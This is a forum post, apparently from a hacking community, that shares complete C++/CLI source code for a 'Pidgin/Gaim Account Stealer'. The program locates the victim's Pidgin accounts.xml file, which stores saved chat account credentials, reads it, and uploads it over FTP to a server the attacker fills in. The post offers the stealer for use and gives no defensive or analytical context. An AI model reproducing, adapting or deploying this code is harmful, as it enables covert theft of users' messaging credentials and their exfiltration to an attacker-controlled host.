Jump to content
Gonzalez

[C++] Pidgin/Gaim Account Stealer w/ FTP Upload Functionalit

Recommended Posts

Posted
#include "Common.hpp"

// ***********************************************************

using namespace System ;
using namespace System::IO ;
using namespace System::Net ;
using namespace System::Windows::Forms;

// ***********************************************************

String^ GetOSName()
{

OperatingSystem^ osInfo = Environment::OSVersion;
String^ osName;

switch( osInfo->Platform )
{

case PlatformID::Win32NT :

switch( osInfo->Version->Major )
{

case 5 :
if( osInfo->Version->Minor == 0 )
osName = "Windows 2000";
else if( osInfo->Version->Minor == 1 )
osName = "Windows XP";
else if( osInfo->Version->Minor == 2 )
osName = "Windows Server 2003";
break;

case 6 :
osName = "Windows Vista";
break;
}

break;

default:
osName = "Unknown";
}

return osName;
}

// ***********************************************************

int main( array<System::String^>^ args )
{

try
{

String^ AccountsXML;

if( GetOSName() == "Windows Vista" )
AccountsXML = "C:/Users/" + SystemInformation::UserName + "/AppData/Roaming/.purple/accounts.xml";

else
AccountsXML = "C:/Documents and Settings/" + SystemInformation::UserName + "/Application Data/.purple/accounts.xml";

FileStream^ file = gcnew FileStream( AccountsXML, FileMode::Open );
array<Byte>^ buffer = gcnew array<Byte>( file->Length );

file->Read( buffer, 0, buffer->Length );
file->Close();

String^ ftp_path = "ftp://**YOUR_FTP_SERVER_HERE**/public_html/";
String^ username = "**USER**";
String^ password = "**PASS**";

FtpWebRequest^ request = dynamic_cast<FtpWebRequest^>(WebRequest::Create( ftp_path + Path::GetFileName( AccountsXML ) ));
request->Method = WebRequestMethods::Ftp::UploadFile;
request->Credentials = gcnew NetworkCredential( username, password );
request->UsePassive = true;
request->UseBinary = true;
request->KeepAlive = false;

Stream^ regular_stream = request->GetRequestStream();
regular_stream->Write( buffer, 0, buffer->Length );
regular_stream->Close();
}

catch( Exception^ e )
{

MessageBox::Show( e->ToString(), "An Error Has Occured:", MessageBoxButtons::OK, MessageBoxIcon::Exclamation );
return EXIT_FAILURE;
}

return EXIT_SUCCESS;
}

// ***********************************************************

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...